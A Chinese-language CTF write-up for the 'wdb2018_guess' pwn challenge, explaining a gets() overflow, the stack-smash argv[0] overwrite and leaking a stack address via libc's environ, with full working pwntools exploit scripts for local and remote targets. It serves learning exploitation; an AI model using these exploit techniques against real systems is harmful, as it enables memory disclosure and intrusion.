wdb2018_guess


知识点:
environ泄露栈地址

  • environ 是一个全局变量(char **environ),位于 libc 中,指向当前进程的环境变量字符串数组。
  • 环境变量通常存放在栈的顶部附近(高地址),因此 environ 指向的地址位于栈空间内。
  • 由于 environ 本身存储在 libcBSS 段,但其指向的内容(环境变量)在栈上,因此通过泄露 environ 的值,可以间接获得一个稳定的栈地址。
  • 这个地址通常位于栈顶附近,距离主函数的返回地址、局部变量等有相对固定的偏移。
    environ泄露栈地址参考
    Stack smash

准备


64 位,开了 NXcanary 保护
题目用的 glibc 版本是 2.23-0ubuntu10_amd64 ,没下载到这个版本,用 2.23-0ubuntu11.3_amd64 这个版本发现数值是一样的,所以改成了这个版本,最后使用的 libc 文件是题目给的

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
__int64 n3_1; // [rsp+20h] [rbp-80h]
__int64 n3; // [rsp+28h] [rbp-78h]
char buf[48]; // [rsp+30h] [rbp-70h] BYREF
char s2[56]; // [rsp+60h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+98h] [rbp-8h]

v10 = __readfsqword(0x28u);
n3 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
n3_1 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( n3_1 >= n3 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
if ( !(unsigned int)sub_400A11() )
break;
++n3_1;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2);
if ( !strcmp(buf, s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}

开头会把 flag 输入到 buf
到下面有一个输入点,用 gets 函数,所以存在缓冲区溢出

思路

(在本地调试,记得创建一个 flag.txt 文件)
这题开了 canary 保护,有溢出点,没其他信息,所以可以想到 Stack smash 花式栈溢出技巧的一种,利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,得到 flag
stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名)
但是查看发现我们这里的返回地址 buf 的地址在栈上,并且比我们的输入点还要低,无法通过偏移确定 buf 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
-00000000000000A0 // Use data definition commands to manipulate stack variables and arguments.
-00000000000000A0 // Frame size: A0; Saved regs: 8; Purge: 0
-00000000000000A0
-00000000000000A0 _QWORD var_A0;
-0000000000000098 // padding byte
-0000000000000097 // padding byte
-0000000000000096 // padding byte
-0000000000000095 // padding byte
-0000000000000094 _DWORD var_94;
-0000000000000090 // padding byte
-000000000000008F // padding byte
-000000000000008E // padding byte
-000000000000008D // padding byte
-000000000000008C __WAIT_STATUS stat_loc;
-0000000000000084 _DWORD var_84;
-0000000000000080 _QWORD var_80;
-0000000000000078 _QWORD var_78;
-0000000000000070 _BYTE buf;
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 // padding byte
-0000000000000057 // padding byte
-0000000000000056 // padding byte
-0000000000000055 // padding byte
-0000000000000054 // padding byte
-0000000000000053 // padding byte
-0000000000000052 // padding byte
-0000000000000051 // padding byte
-0000000000000050 // padding byte
-000000000000004F // padding byte
-000000000000004E // padding byte
-000000000000004D // padding byte
-000000000000004C // padding byte
-000000000000004B // padding byte
-000000000000004A // padding byte
-0000000000000049 // padding byte
-0000000000000048 // padding byte
-0000000000000047 // padding byte
-0000000000000046 // padding byte
-0000000000000045 // padding byte
-0000000000000044 // padding byte
-0000000000000043 // padding byte
-0000000000000042 // padding byte
-0000000000000041 // padding byte
-0000000000000040 char s2;
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

所以这里学习了一种方法用 environ 泄露栈地址
得到 environ 地址需要 libc 基址,所以这里利用 Stack smash 先去泄露 puts 函数的地址,得到 libc 基址,再有 environ 地址,最后通过 environ 地址得到栈地址
先用 gdb 调试,在 gets 处下断点,然后运行,看栈情况,获得输入点与 argv[0] 的偏移



得到偏移量为 0x128
先泄露 puts 函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
# io=remote('node5.buuoj.cn',28639)
io= process('/home/motaly/guess')
elf=ELF('/home/motaly/guess')
# libc=ELF('/home/motaly/libc.so.6')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

puts_got=elf.got['puts']

payload=b'a'*0x128+p64(puts_got)
io.sendlineafter(b'Please type your guessing flag',payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

有了 libc 基址和 environ 地址

1
2
3
4
5
6
7
8
9
10
11
12
puts_got=elf.got['puts']

payload=b'a'*0x128+p64(puts_got)
io.sendlineafter(b'Please type your guessing flag',payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
environ_addr = libc_base + libc.symbols['__environ']
log.success('environ_addr: '+hex(environ_addr))

通过 environ 地址得到栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
puts_got=elf.got['puts']

payload=b'a'*0x128+p64(puts_got)
io.sendlineafter(b'Please type your guessing flag',payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
environ_addr = libc_base + libc.symbols['__environ']
log.success('environ_addr: '+hex(environ_addr))

payload=b'a'*0x128+p64(environ_addr)
io.sendline(payload)
io.recvuntil('stack smashing detected ***: ')
stack = u64(io.recv(6).ljust(8,b'\x00'))
log.success('stack: '+hex(stack))
# gdb.attach(io)

gdb 调试,获得栈地址与 flag 的偏移

得到偏移量为 0x168
有了偏移就可以知道 flag 的位置,直接输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
puts_got=elf.got['puts']

payload=b'a'*0x128+p64(puts_got)
io.sendlineafter(b'Please type your guessing flag',payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
environ_addr = libc_base + libc.symbols['__environ']
log.success('environ_addr: '+hex(environ_addr))

payload=b'a'*0x128+p64(environ_addr)
io.sendline(payload)
io.recvuntil('stack smashing detected ***: ')
stack = u64(io.recv(6).ljust(8,b'\x00'))
log.success('stack: '+hex(stack))

flag_addr=stack-0x168
payload=b'a'*0x128+p64(flag_addr)
io.sendlineafter(b'Please type your guessing flag',payload)

脚本

本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
# io=remote('node5.buuoj.cn',28639)
io= process('/home/motaly/guess')
elf=ELF('/home/motaly/guess')
# libc=ELF('/home/motaly/libc.so.6')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

puts_got=elf.got['puts']

payload=b'a'*0x128+p64(puts_got)
io.sendlineafter(b'Please type your guessing flag',payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
environ_addr = libc_base + libc.symbols['__environ']
log.success('environ_addr: '+hex(environ_addr))

payload=b'a'*0x128+p64(environ_addr)
io.sendline(payload)
io.recvuntil('stack smashing detected ***: ')
stack = u64(io.recv(6).ljust(8,b'\x00'))
log.success('stack: '+hex(stack))

flag_addr=stack-0x168
payload=b'a'*0x128+p64(flag_addr)
io.sendlineafter(b'Please type your guessing flag',payload)

io.interactive()

远程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.buuoj.cn',28269)
# io= process('/home/motaly/guess')
elf=ELF('/home/motaly/guess')
libc=ELF('/home/motaly/libc.so.6')
# libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

puts_got=elf.got['puts']

payload=b'a'*0x128+p64(puts_got)
io.sendlineafter(b'Please type your guessing flag',payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
environ_addr = libc_base + libc.symbols['__environ']
log.success('environ_addr: '+hex(environ_addr))

payload=b'a'*0x128+p64(environ_addr)
io.sendline(payload)
io.recvuntil('stack smashing detected ***: ')
stack = u64(io.recv(6).ljust(8,b'\x00'))
log.success('stack: '+hex(stack))

flag_addr=stack-0x168
payload=b'a'*0x128+p64(flag_addr)
io.sendlineafter(b'Please type your guessing flag',payload)

io.interactive()